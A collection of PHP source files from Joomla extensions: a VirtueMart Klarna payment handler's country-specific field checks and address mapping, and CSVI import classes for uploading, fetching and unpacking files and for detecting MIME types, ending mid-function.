	static function checkDataFromEditPayment ($data, $country3) {

		if (!class_exists ('VirtueMartModelUserfields')) {
			require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'userfields.php');
		}
		$errors = array();

		/*
		if ($country3 == "DEU") {
			$consent = JRequest::getVar ('klarna_consent');
			if ($consent != 'on') {
				$errors = JText::_ ('VMPAYMENT_KLARNA_NO_CONSENT');
			}
		}

		// todo later
		$userFieldsModel = VmModel::getModel ('userfields');

		$userFields = $userFieldsModel->getUserFields (
			'account'
			, array('required'   => FALSE,
			        'delimiters' => TRUE,
			        'captcha'    => TRUE,
			        'system'     => FALSE)
			, array('delimiter_userinfo', 'name', 'username', 'password', 'password2', 'address_type_name', 'address_type', 'user_is_vendor', 'agreed'));

		$required_shopperfields_vm = Klarnahandler::getKlarnaVMGenericShopperFields (FALSE);
		$required_shopperfields_bycountry = KlarnaHandler::getKlarnaSpecificShopperFields ();

		$required_shopperfields = array_merge ($required_shopperfields_vm, $required_shopperfields_bycountry[$country3]);

		foreach ($userFields as $userField) {
			if (in_array ($userField->name, $required_shopperfields)) {
				if (empty($data[$userField->name])) {
					$errors[] = JText::_($userField->title);
				}
			}
		}

*/
		// Quick and durty .. but it works
		$kIndex = "klarna_";
		if ($country3 == "SWE") {
			if (JRequest::getVar ('klarna_invoice_type') == 'company') {
				if (strlen (trim ((string)JRequest::getVar ('klarna_company_name'))) == 0) {
					$errors[] = 'VMPAYMENT_KLARNA_COMPANY_NAME';
				}
			} else {
				if (!KlarnaEncoding::checkPNO ($data['socialNumber'], KlarnaEncoding::PNO_SE)) {
					$errors[] = 'VMPAYMENT_KLARNA_PERSONALORORGANISATIO_NUMBER';
				}
			}
		} else {
			if ($data['phone'] == '') {
				$errors[] = 'VMPAYMENT_KLARNA_PHONE_NUMBER';
			}
			if ($data['street'] == '') {
				$errors[] = 'VMPAYMENT_KLARNA_STREET_ADRESS';
			}
			if ($data['first_name'] == '') {
				$errors[] = 'VMPAYMENT_KLARNA_FIRST_NAME';
			}
			if ($data['last_name'] == '') {
				$errors[] = 'VMPAYMENT_KLARNA_LAST_NAME';
			}
			if ($data['city'] == '') {
				$errors[] = 'VMPAYMENT_KLARNA_ADDRESS_CITY';
			}
			if ($data['zip'] == '') {
				$errors[] = 'VMPAYMENT_KLARNA_ADDRESS_ZIP';
			}
		}
		// German and dutch
		if ($country3 == "NLD" || $country3 == "DEU") {
			if ($data['street'] == '') {
				$errors[] = 'VMPAYMENT_KLARNA_STREET_ADRESS';
			}
			if ($data['house_no'] == '') {
				$errors[] = 'VMPAYMENT_KLARNA_ADDRESS_HOMENUMBER';
			}
			if ($country3 == "DEU") {
				if ($data['consent'] != 'on') {
					$errors[] = 'VMPAYMENT_KLARNA_NO_CONSENT';
				}
			}

			if ($data['pno_frombirthday'] == '') {
				$errors[] = 'VMPAYMENT_KLARNA_PERSONALORORGANISATIO_NUMBER';
			}
			if ($data['gender'] == '') {
				$errors[] = 'VMPAYMENT_KLARNA_SEX';
			}
		}
		// General
		/* the email is not in the payment form
		  if ($data['emailAddress'] == '') {
			  $errors[] = 'VMPAYMENT_KLARNA_EMAIL';
		  }
  */
		// Norwegian, Danish and Finnish
		if (($country3 == "NOR") || ($country3 == "DNK") || $country3 == "FIN") {
			if ($data['socialNumber'] == '') {
				$errors[] = 'VMPAYMENT_KLARNA_PERSONALORORGANISATIO_NUMBER';
			}
		}

		if (!empty($errors)) {
			$msg = JText::_ ('VMPAYMENT_KLARNA_ERROR_TITLE_2');
			foreach ($errors as $error) {
				$msg .= "<li>" . JText::_ ($error) . "</li>";
			}
			$option=NULL;
			self::setKlarnaErrorInSession ($msg, $option);

			return $msg;
		}
		return NULL;

	}

	/**
	 * @static
	 * @return array
	 */
	static function getKlarnaSpecificShopperFields () {

		return array(
			"SWE" => array( "email"),
			"DNK" => array(), // should not be given to the shopper  year_salary
			"NOR" => array(),
			"FIN" => array(),
			"NLD" => array( "address_2", "house_no"),
			"DEU" => array( "house_no")
		);

	}

	/**
	 * @return array
	 */
	static function getKlarnaVMGenericShopperFields ($all = TRUE) {

		$required = array("first_name", "last_name", "address_1", "city", "zip", "phone_1", "virtuemart_country_id");
		if ($all) {
			$required = array_merge ($required, array("company"));
		}
		return $required;

	}

	static function getKlarnaShopperFieldsType () {

		return array("socialNumber"=> "text",
		             "email"       => "email",
		             "birthday"    => "date",
		             "address_2"   => "text",
		             "house_no"    => "text",
		);
	}

	/**
	 *
	 */
	function getByFieds () {

		$required_shopperfields_byfields = array(
			"socialNumber" => array("SWE", "DNK", "NOR", "FIN"),
			"year_salary"  => array("DNK"),
			"address_2",
			"birthday"     => array("DEU", "NLD"),
			"house_no"     => array("NLD"),
			"email"        => array("SWE")
		);
	}

	/**
	 * Get the shipToAddress which might differ from default address.
	 * From VM shopperFields to Klarna Fields
	 */
	public static function getShipToAddress ($cart) {

		//vmdebug('getShipToAddress',$cart);
		if (VMKLARNA_SHIPTO_SAME_AS_BILLTO) {
			$shipTo = $cart->BT;
		} else {
			$shipTo = (($cart->ST == 0 or empty($cart->ST)) ? $cart->BT : $cart->ST);
		}
		return self::getKlarnaFieldsFromVmShopperFields ($shipTo, $cart->BT['email']);

	}

	/**
	 * @static
	 * @param $from
	 * @param $from_email
	 * @return array
	 */
	static function getKlarnaFieldsFromVmShopperFields ($from, $from_email) {

		$klarnaFields = array();
		switch ($from['title']) {
			case JText::_ ('COM_VIRTUEMART_SHOPPER_TITLE_MR'):
				$klarnaFields['gender'] = KlarnaFlags::MALE;
				break;
			case JText::_ ('COM_VIRTUEMART_SHOPPER_TITLE_MISS'):
			case JText::_ ('COM_VIRTUEMART_SHOPPER_TITLE_MRS'):
				$klarnaFields['gender'] = KlarnaFlags::FEMALE;
				break;
			default:
				$klarnaFields['gender'] = NULL;
				break;
		}
		$country_code_3 = ShopFunctions::getCountryByID ($from['virtuemart_country_id'], 'country_3_code');
		$klarnaFields['email'] = $from_email;
		$klarnaFields['country'] = @ShopFunctions::getCountryByID (@$from['virtuemart_country_id'], 'country_3_code');
		$klarnaFields['socialNumber'] = @$from['socialNumber'];
		$klarnaFields['houseNr'] = @$from['house_no'];
		$klarnaFields['houseExt'] = @$from['address_2'];
		$klarnaFields['first_name'] = @$from['first_name'];
		if ($country_code_3 == 'NLD') {
			$klarnaFields['last_name'] = @$from['middle_name'] . " " . @$from['last_name'];
		} else {
			$klarnaFields['last_name'] = @$from['last_name'];
		}

		$klarnaFields['reference'] = $from['first_name'] . ' ' . $from['last_name'];
		$klarnaFields['company_name'] = @$from['company_name'];
		$klarnaFields['phone'] = @$from['phone_1'];
		$klarnaFields['street'] = @$from['address_1'];
		$klarnaFields['city'] = @$from['city'];
		$klarnaFields['country'] = $country_code_3;
		$klarnaFields['state'] = @$from['state'];
		$klarnaFields['zip'] = @$from['zip'];
		$klarnaFields['birthday'] = @$from['birthday'];
		if (isset($from['birthday']) and !empty($from['birthday'])) {
			$date = explode ("-", $from['birthday']);
			if (is_array ($date)) {
				$klarnaFields['birth_year'] = $date['0'];
				$klarnaFields['birth_month'] = $date['1'];
				$klarnaFields['birth_day'] = $date['2'];
			}
		}
		return $klarnaFields;
	}

	function checkNLpriceCondition ($price) {
		//  Since 12/09/12: merchants can sell goods with Klarna Invoice up to thousands of euros.

		if ($price > 250) {
			// We can't show our payment options for Dutch customers
			// if price exceeds 250 euro. Will be replaced with ILT in
			// the future.
			return FALSE;
		}
		return TRUE;

	}

	function checkPartNLpriceCondition ($cart) {
//  Since 12/09/12: merchants can sell goods with Klarna Invoice up to thousands of euros.
		// convert price in euro
		//$euro_currency_id = ShopFunctions::getCurrencyByName( 'EUR');
		$price = KlarnaHandler::convertPrice ($cart->pricesUnformatted['billTotal'], $cart->pricesCurrency, 'EUR',$cart->pricesCurrency);
		return self::checkNLpriceCondition ($price);
	}


}

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defined('_JEXEC') or die();
define('VMKLARNA_SHIPTO_SAME_AS_BILLTO', '1');
define('VMKLARNA_SHOW_PRODUCTPRICE', '1');
?>
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/**
 * Main file processor class
 *
 * @package		CSVI
 * @author 		Roland Dalmulder
 * @link 		http://www.csvimproved.com
 * @copyright 	Copyright (C) 2006 - 2013 RolandD Cyber Produksi. All rights reserved.
 * @license 	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @version 	$Id: file.php 2275 2013-01-03 21:08:43Z RolandD $
 */

defined( '_JEXEC' ) or die( 'Direct Access to this location is not allowed.' );

/**
 * CsviFile class
 *
 * The CsviFile class handles all file operations
 *
* @package CSVI
 */
abstract class CsviFile {

	/** @var array  Contains the list of available fields in the target table */
	protected $_supported_fields = array();

	/** @var array Contains allowed extensions for uploaded files */
	public $suffixes = array();

	/** @var array Contains allowed mimetypes for uploaded files */
	public $mimetypes = array();

	/** @var array Contains allowed archivetypes for uploaded files */
	public $archives = array();

	/** @var string Contains the name of the uploaded file */
	public $filename = '';

	/** @var string Contains the extension of the uploaded file */
	public $extension = '';

	/** @var bool Contains the value whether or not the file uses
	* an extension that is allowed.
	*
	* @see $suffixes
	*/
	public $valid_extension = false;

	/** @var bool Filepointer used when opening files */
	public $fp = false;

	/** @var integer Internal line pointer */
	public $linepointer = 1;

	/** @var array Contains the data that is read from file */
	public $data = null;

	/** @var string Path for unpacking files */
	protected $_unpackpath = null;

	/** @var bool Sets to true if a file has been uploaded */
	private $_uploaded = false;

	/** @var bool Sets to true if a file has been closed */
	private $_closed = false;



	/**
	 * Construct the class and its settings
	 *
	 * @copyright
	 * @author		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return
	 * @since 		3.0
	 */
	public function __construct() {
		$jinput = JFactory::getApplication()->input;
		// Load the necessary libraries
		jimport('joomla.filesystem.file');
		jimport('joomla.filesystem.folder');
		jimport('joomla.filesystem.archive');
		$this->_unpackpath = CSVIPATH_TMP;
		$this->_supported_fields = $jinput->get('avfields', array(), null);

		// Load some basic settings
		$this->_fileSettings();
	}

	/**
	 * Set up the basic settings
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see 		$suffixes
	 * @see			$mimetypes
	 * @see			$data
	 * @access 		private
	 * @param
	 * @return
	 * @since 		3.0
	 */
	private function _fileSettings() {
		$this->suffixes = array('txt','csv','xls','xml','ods');
		$this->mimetypes = array('text/html',
							'text/plain',
							'text/csv',
							'application/octet-stream',
							'application/x-octet-stream',
							'application/vnd.ms-excel',
							'application/excel',
							'application/ms-excel',
							'application/x-excel',
							'application/x-msexcel',
							'application/force-download',
							'text/comma-separated-values',
							'text/x-csv',
							'text/x-comma-separated-values',
							'application/vnd.oasis.opendocument.spreadsheet');
		$this->archives = array('zip', 'tgz');
		$this->data->sheets[0] = array();
	}

	/**
	 * Process the file to import
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return
	 * @since 		3.0
	 */
	abstract public function processFile();

	/**
	 * Validate the file
	 *
	 * Validate the file is of the supported type
	 * Types supported are csv, txt, xls, ods, xml
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo 		See if this code can be optimized
	 * @see
	 * @access 		public
	 * @param
	 * @return 		bool true if all OK | false if not OK
	 * @since 		3.0
	 */
	public function validateFile() {
		$jinput = JFactory::getApplication()->input;
		$csvilog = $jinput->get('csvilog', null, null);
		$template = $jinput->get('template', null, null);

		// Workaround as it is always true
		//if ($jinput->get('filepos', 0, 'int') >= 0) {
		//	$csv_file = $template->get('local_csv_file', 'general', false);
		//	if (!$csv_file) {
		//		$csv_file = urldecode($jinput->get('csv_file'));
		//		$jinput->set('local_csv_file', $csv_file);
		//	}
		//	$this->folder = dirname($csv_file);
		//	$jinput->set('csv_file', $csv_file);
		//}
		$loadfrom = $template->get('source', 'general');
		switch (strtolower($loadfrom)) {
			// Uploaded file
			case 'fromupload':
				$upload['name'] = $_FILES['jform']['name']['general']['import_file'];
				$upload['type'] = $_FILES['jform']['type']['general']['import_file'];
				$upload['tmp_name'] = $_FILES['jform']['tmp_name']['general']['import_file'];
				$upload['error'] = $_FILES['jform']['error']['general']['import_file'];

				// Check if the file upload has an error
				if (empty($upload)) {
					$csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_UPLOADED_FILE_PROVIDED'));
					return false;
				}
				else if ($upload['error'] == 0) {
					if (is_uploaded_file($upload['tmp_name'])) {
						// Get some basic info
						$folder = $this->_unpackpath.'/'.time();
						$upload_parts = pathinfo($upload['name']);

						// Create the temp folder
						if (JFolder::create($folder)) {
							$this->folder = $folder;
							// Move the uploaded file to its temp location
							if (JFile::upload($upload['tmp_name'], $folder.'/'.$upload['name'])) {
								$this->_uploaded = true;
								// Let's see if the uploaded file is an archive
								if (in_array($upload_parts['extension'], $this->archives)) {
									// It is an archive, unpack first
									if (JArchive::extract($folder.'/'.$upload['name'], $folder)) {
										// File is unpacked, let's get the filename
										$foundfiles = scandir($folder);
										foreach ($foundfiles as $ffkey => $filename) {
											$ff_parts = pathinfo($filename);
											if (in_array(strtolower($ff_parts['extension']), $this->suffixes)) {
												$jinput->set('csv_file', $folder.'/'.$filename);
												$jinput->set('upload_file_error', false);
												$this->extension = strtolower($ff_parts["extension"]);
												end($foundfiles);
											}
											else $found = false;
										}
										if (!$found) $jinput->set('upload_file_error', true);
									}
									else {
										$csvilog->AddStats('incorrect', JText::_('COM_CSVI_CANNOT_UNPACK_UPLOADED_FILE'));
										return false;
									}
								}
								// Just a regular file
								else {
									$jinput->set('csv_file', $folder.'/'.$upload['name']);
									$this->extension = strtolower($upload_parts['extension']);
								}
							}
						}
						else {
							$csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CANNOT_CREATE_UNPACK_FOLDER', $folder));
							return false;
						}
					}
					// Error warning cannot save uploaded file
					else {
						$csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_NO_UPLOADED_FILE_PROVIDED', $upload['tmp_name']));
						return false;
					}
				}
				else {
					// There was a problem uploading the file
					switch($upload['error']) {
						case '1':
							$csvilog->AddStats('incorrect', JText::_('COM_CSVI_THE_UPLOADED_FILE_EXCEEDS_THE_MAXIMUM_UPLOADED_FILE_SIZE'));
							break;
						case '2':
							$csvilog->AddStats('incorrect', JText::_('COM_CSVI_THE_UPLOADED_FILE_EXCEEDS_THE_MAXIMUM_UPLOADED_FILE_SIZE'));
							break;
						case '3':
							$csvilog->AddStats('incorrect', JText::_('COM_CSVI_THE_UPLOADED_FILE_WAS_ONLY_PARTIALLY_UPLOADED'));
							break;
						case '4':
							$csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_FILE_WAS_UPLOADED'));
							break;
						case '6':
							$csvilog->AddStats('incorrect', JText::_('COM_CSVI_MISSING_A_TEMPORARY_FOLDER'));
							break;
						case '7':
							$csvilog->AddStats('incorrect', JText::_('COM_CSVI_FAILED_TO_WRITE_FILE_TO_DISK'));
							break;
						case '8':
							$csvilog->AddStats('incorrect', JText::_('COM_CSVI_FILE_UPLOAD_STOPPED_BY_EXTENSION'));
							break;
						default:
							$csvilog->AddStats('incorrect', JText::_('COM_CSVI_THERE_WAS_A_PROBLEM_UPLOADING_THE_FILE'));
							break;
					}
					return false;
				}
				break;
			// Local file
			case 'fromserver':
				$csv_file = JPath::clean($template->get('local_csv_file', 'general'), '/');
				// Set the file name to use
				$jinput->set('csv_file', $csv_file);
				if (!JFile::exists($csv_file)) {
					$csvilog->addDebug('[VALIDATEFILE] '.JText::sprintf('COM_CSVI_LOCAL_FILE_DOESNT_EXIST', $csv_file));
					$csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_LOCAL_FILE_DOESNT_EXIST', $csv_file));
					return false;
				}
				else $jinput->set('upload_file_error', false);
				$fileinfo = pathinfo($csv_file);
				if (isset($fileinfo["extension"])) {
					$this->extension = strtolower($fileinfo["extension"]);
					if ($this->extension == 'txt') $this->extension = 'csv';
				}
				break;
			case 'fromurl':
				// The temporary folder
				$folder = $this->_unpackpath.'/'.time();
				$urlfile = $template->get('urlfile', 'general', false);
				$tempfile = basename($urlfile);
				// Check if the remote file exists
				if ($urlfile) {
					if (CsviHelper::fileExistsRemote($urlfile)) {
						// Copy the remote file to a local location
						if (JFolder::create($folder)) {
							if (touch($folder.'/'.$tempfile)) {
								if (JFile::write($folder.'/'.$tempfile, JFile::read($urlfile))) {
									$csvilog->addDebug(JText::sprintf('COM_CSVI_RETRIEVE_FROM_URL', $urlfile));
									$jinput->set('csv_file', $folder.'/'.$tempfile);
									$jinput->set('upload_file_error', false);
									$this->extension = JFile::getExt($tempfile);
								}
								else {
									$csvilog->AddStats('incorrect', JText::_('COM_CSVI_CANNOT_READ_FROM_URL'));
									return false;
								}
							}
							else {
								$csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CANNOT_CREATE_TEMP_FILE', $folder.'/'.$tempfile));
								return false;
							}
						}
						else {
							$csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CANNOT_CREATE_TEMP_FOLDER', $folder));
							return false;
						}
					}
					else {
						$csvilog->AddStats('incorrect', JText::_('COM_CSVI_CANNOT_READ_FROM_URL'));
						return false;
					}
				}
				else {
					$csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_FILENAME_GIVEN'));
					return false;
				}
				break;
			case 'fromftp':
				// The temporary folder
				$folder = $this->_unpackpath.'/'.time();
				$ftpfile = $template->get('ftpfile', 'general', false);
				if ($ftpfile) {
					// Create the output file
					if (JFolder::create($folder)) {
						if (touch($folder.'/'.$ftpfile)) {
							// Start the FTP
							jimport('joomla.client.ftp');
							$ftp = JFTP::getInstance($template->get('ftphost', 'general'), $template->get('ftpport', 'general'), null, $template->get('ftpusername', 'general'), $template->get('ftppass', 'general'));
							if ($ftp->get($folder.'/'.$ftpfile, $template->get('ftproot', 'general', '/').$ftpfile)) {
								$csvilog->addDebug(JText::sprintf('COM_CSVI_RETRIEVE_FROM_FTP', $template->get('ftproot', 'general', '/').$ftpfile));
								$jinput->set('csv_file', $folder.'/'.$ftpfile);
								$jinput->set('upload_file_error', false);
								$this->extension = JFile::getExt($ftpfile);
							}
							else {
								$csvilog->AddStats('incorrect', JText::_('COM_CSVI_CANNOT_READ_FROM_FTP'));
								return false;
							}
							$ftp->quit();
						}
						else {
							$csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CANNOT_CREATE_TEMP_FILE', $folder.'/'.$ftpfile));
							return false;
						}
					}
					else {
						$csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CANNOT_CREATE_TEMP_FOLDER', $folder));
						return false;
					}
				}
				else {
					$csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_FILENAME_GIVEN'));
					return false;
				}
				break;
			// No file given
			default:
				$csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_FILE_PROVIDED'));
				return false;
				break;
		}
		// Make sure txt files are not ignored
		if ($this->extension == 'txt') $this->extension = 'csv';

		// Set the filename
		$csv_file = $jinput->get('csv_file', '', 'string');
		if (JFile::exists($csv_file)) {
			$this->filename = JPath::clean($csv_file, '/');

			// Store the users filename for display purposes
			$csvilog->setFilename(basename($this->filename));
		}
		else {
			$csvilog->addDebug(JText::sprintf('COM_CSVI_LOCAL_FILE_DOESNT_EXIST', $jinput->get('csv_file')));
			return false;
		}
		if (in_array($this->extension, $this->suffixes)) $this->valid_extension = true;
		else {
			// Test the mime type
			if (!in_array($this->extension, $this->mimetypes) ) {
				$csvilog->AddStats('information', JText::sprintf('COM_CSVI_EXTENSION_NOT_ACCEPTED', $this->extension));
				return false;
			}
		}
		// Debug message to know what filetype the user is uploading
		$csvilog->addDebug(JText::sprintf('COM_CSVI_IMPORT_FILETYPE', $this->extension));

		// All is fine
		return true;
	}

	/**
	 * Read the next line in the file
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return 		array	with the line of data read | false if data cannot be read
	 * @since 		3.0
	 */
	abstract public function ReadNextLine();

	/**
	 * Close the file
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see		 	processFile()
	 * @access
	 * @param
	 * @return
	 * @since
	 */
	public function closeFile($removefolder=true) {
		// Delete the uploaded folder
		if ($removefolder) $this->removeFolder();
	}

	/**
	 * Remove the temporary folder
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		protected
	 * @param
	 * @return
	 * @since 		3.0
	 */
	protected function removeFolder() {
		$jinput = JFactory::getApplication()->input;
		if (!$jinput->get('cron', false, 'bool')) {
			$folder = JPath::clean(dirname($this->filename), '/');
			$pos = strpos($folder, CSVIPATH_TMP);
			if ($pos !== false) if (JFolder::exists($folder)) JFolder::delete($folder);
		}
	}

	/**
	 * Get the file position
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return 		int	current position in the file
	 * @since 		3.0
	 */
	abstract public function getFilePos();

	/**
	 * Set the current position in the file
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param 		int	$pos	the position to move to
	 * @return
	 * @since 		3.0
	 */
	abstract public function setFilePos($pos);

	/**
	 * Get the size of the file
	 *
	 * @copyright
	 * @author		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return 		int	the size of the file being read
	 * @since 		3.0
	 */
	public function getFileSize() {
		return filesize($this->filename);
	}

	/**
	 * Load the column headers from a file
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return 		bool	true
	 * @since 		3.0
	 */
	abstract public function loadColumnHeaders();

	/**
	 * Advances the file pointer 1 forward
	 *
	 * @copyright
	 * @author		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param 		bool	$preview	True if called from the preview
	 * @return
	 * @since		3.0
	 */
	public function next($preview=false) {
		$discard = $this->readNextLine();
	}

	/**
	 * Sets the file pointer back to the beginning of the file
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return
	 * @since 		3.0
	 */
	abstract function rewind();

	/**
	 * Empties the data
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return 		bool	true
	 * @since 		3.0
	 */
	public function clearData() {
		$this->data = null;
		return true;
	}
}
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/**
 * Image helper class
 *
 * @package		CSVI
 * @author 		Roland Dalmulder
 * @link 		http://www.csvimproved.com
 * @copyright 	Copyright (C) 2006 - 2013 RolandD Cyber Produksi. All rights reserved.
 * @license 	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @version 	$Id: images.php 2275 2013-01-03 21:08:43Z RolandD $
 */
defined( '_JEXEC' ) or die( 'Direct Access to this location is not allowed.' );

/**
 * Image converter
 *
* @package CSVI
 */
class ImageHelper {

	/** @var array holds the mime types */
	private $_mime_types = array();
	/** @var array holds the image types */
	private $_image_types = array();
	/** @var array holds the mime types it found */
	private $_found_mime_type = array();
	/** @var array contains all the image data for processing */
	private $_imagedata = array();

	/**	@var int $bg_red 0-255 - red color variable for background filler */
	private $bg_red = 0;
	/**	@var int $bg_green 0-255 - green color variable for background filler */
	private $bg_green = 0;
	/** @var int $bg_blue 0-255 - blue color variable for background filler */
	private $bg_blue = 0;
	/**	@var int $maxSize 0-1 - true/false - should thumbnail be filled to max pixels */
	private $maxSize = false;
	/** @var string $file the original file */
	private $file = null;
	/** @var string $file_extension the extension of the original file */
	private $file_extension = null;
	/** @var string $file_out the name of the file to be created */
	private $file_out = null;
	/** @var string $file_out_extension the extension of the file to be created */
	public $file_out_extension = null;
	/** @var int $file_out_width the width of the file to be generated */
	private $file_out_width = 0;
	/** @var int $file_out_height the height of the file to be generated */
	private $file_out_height = 0;
	/** @var bool $rename set if the file should be renamed including the size of the image */
	private $rename = 0;

	/**
	* Construct the class and load some basic settings
	*
	* @author RolandD
	* @access public
	*/
	public function __construct() {
		$this->loadMimeTypes();
		$this->loadImageTypes();
	}

	/**
	 * Check if the given file is an image
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo		add support for external files
	 * @see
	 * @access 		public
	 * @param 		string	$file	full path to file to check
	 * @param 		bool	$remote	true if the file to check is a remote file
	 * @return 		bool	true if file is image, false if file is not an image
	 * @since		3.0
	 */
	public function isImage($file, $remote=false) {
		$mime_type = $this->findMimeType($file, $remote);
		if ($mime_type) {
			foreach ($this->_image_types as $key => $type) {
				if ($type['mime_type'] == $mime_type) return true;
			}
		}
		// If we get here, no image type has been found
		return false;
	}

	/**
	 * Check a file for its mime type
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param		string 	$filename	the full location of the file to check
	 * @param 		bool	$remote 	true if the file to check is a remote file
	 * @return 		string|bool 	return mime type if found | return false if no type found
	 * @since 		3.0
	 */
	public function findMimeType($filename, $remote=false) {
		jimport('joomla.filesystem.file');
		if (JFile::exists($filename) || $remote) {
			$handle = @fopen($filename, "r");
			if ($handle) {
				$string = fread($handle, 20);
				$max_length_found = 0;
				foreach ($this->_mime_types as $key => $type) {
					if (stripos(bin2hex($string), $type['signature'], 0) !== false) {
						if (strlen($type['signature']) > $max_length_found) {
							$max_length_found =  strlen($type['signature']);
							if (isset($type['mime_type'])) $this->_found_mime_type['mime_type'] = $type['mime_type'];
						}
					}
				}
				fclose($handle);
				if (isset($this->_found_mime_type['mime_type'])) return $this->_found_mime_type['mime_type'];
				else return false;
			}
			else {
				// Cannot open the image file, do a simple check
				switch (JFile::getExt($filename)) {
					case 'jpg':
					case 'jpeg':
						return 'image/jpeg';
						break;
					case 'png':
						return 'image/png';
						break;
					case 'gif':
						return 'image/gif';
						break;
					case 'bmp':
						return 'image/bmp';
						break;
					default:
						return false;
						break;
				}
			}
		}
		else return false;
	}

	/**
	 * Load mime type signatures
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		private
	 * @param
	 * @return 		void
	 * @since 		3.0
	 */
	private function LoadMimeTypes() {
		$this->_mime_types[0]['signature'] = '474946383761';
		$this->_mime_types[1]['signature'] = '424D';
		$this->_mime_types[2]['signature'] = '4D5A';
		$this->_mime_types[3]['signature'] = '504B0304';
		$this->_mime_types[4]['signature'] = 'D0CF11E0A1B11AE1';
		$this->_mime_types[5]['signature'] = '0100000058000000';
		$this->_mime_types[6]['signature'] = '03000000C466C456';
		$this->_mime_types[7]['signature'] = '3F5F0300';
		$this->_mime_types[8]['signature'] = '1F8B08';
		$this->_mime_types[9]['signature'] = '28546869732066696C65';
		$this->_mime_types[10]['signature'] = '0000010000';
		$this->_mime_types[11]['signature'] = '4C000000011402';
		$this->_mime_types[12]['signature'] = '25504446';
		$this->_mime_types[13]['signature'] = '5245474544495434';
		$this->_mime_types[14]['signature'] = '7B5C727466';
		$this->_mime_types[15]['signature'] = 'lh';
		$this->_mime_types[16]['signature'] = 'MThd';
		$this->_mime_types[17]['signature'] = '0A050108';
		$this->_mime_types[18]['signature'] = '25215053';
		$this->_mime_types[19]['signature'] = '2112';
		$this->_mime_types[20]['signature'] = '1A02';
		$this->_mime_types[21]['signature'] = '1A03';
		$this->_mime_types[22]['signature'] = '1A04';
		$this->_mime_types[23]['signature'] = '1A08';
		$this->_mime_types[24]['signature'] = '1A09';
		$this->_mime_types[25]['signature'] = '60EA';
		$this->_mime_types[26]['signature'] = '41564920';
		$this->_mime_types[27]['signature'] = '425A68';
		$this->_mime_types[28]['signature'] = '49536328';
		$this->_mime_types[29]['signature'] = '4C01';
		$this->_mime_types[30]['signature'] = '303730373037';
		$this->_mime_types[31]['signature'] = '4352555348';
		$this->_mime_types[32]['signature'] = '3ADE68B1';
		$this->_mime_types[33]['signature'] = '1F8B';
		$this->_mime_types[34]['signature'] = '91334846';
		$this->_mime_types[35]['signature'] = '3C68746D6C3E';
		$this->_mime_types[36]['signature'] = '3C48544D4C3E';
		$this->_mime_types[37]['signature'] = '3C21444F4354';
		$this->_mime_types[38]['signature'] = '100';
		$this->_mime_types[39]['signature'] = '5F27A889';
		$this->_mime_types[40]['signature'] = '2D6C68352D';
		$this->_mime_types[41]['signature'] = '20006040600';
		$this->_mime_types[42]['signature'] = '00001A0007800100';
		$this->_mime_types[43]['signature'] = '00001A0000100400';
		$this->_mime_types[44]['signature'] = '20006800200';
		$this->_mime_types[45]['signature'] = '00001A0002100400';
		$this->_mime_types[46]['signature'] = '5B7665725D';
		$this->_mime_types[47]['signature'] = '300000041505052';
		$this->_mime_types[48]['signature'] = '1A0000030000';
		$this->_mime_types[49]['signature'] = '4D47582069747064';
		$this->_mime_types[50]['signature'] = '4D534346';
		$this->_mime_types[51]['signature'] = '4D546864';
		$this->_mime_types[52]['signature'] = '000001B3';
		$this->_mime_types[53]['signature'] = '0902060000001000B9045C00';
		$this->_mime_types[54]['signature'] = '0904060000001000F6055C00';
		$this->_mime_types[55]['signature'] = '7FFE340A';
		$this->_mime_types[56]['signature'] = '1234567890FF';
		$this->_mime_types[57]['signature'] = '31BE000000AB0000';
		$this->_mime_types[58]['signature'] = '1A00000300001100';
		$this->_mime_types[59]['signature'] = '7E424B00';
		$this->_mime_types[60]['signature'] = '504B0304';
		$this->_mime_types[61]['signature'] = '89504E470D0A';
		$this->_mime_types[62]['signature'] = '6D646174';
		$this->_mime_types[63]['signature'] = '6D646174';
		$this->_mime_types[64]['signature'] = '52617221';
		$this->_mime_types[65]['signature'] = '2E7261FD';
		$this->_mime_types[66]['signature'] = 'EDABEEDB';
		$this->_mime_types[67]['signature'] = '2E736E64';
		$this->_mime_types[68]['signature'] = '53495421';
		$this->_mime_types[69]['signature'] = '53747566664974';
		$this->_mime_types[70]['signature'] = '1F9D';
		$this->_mime_types[71]['signature'] = '49492A';
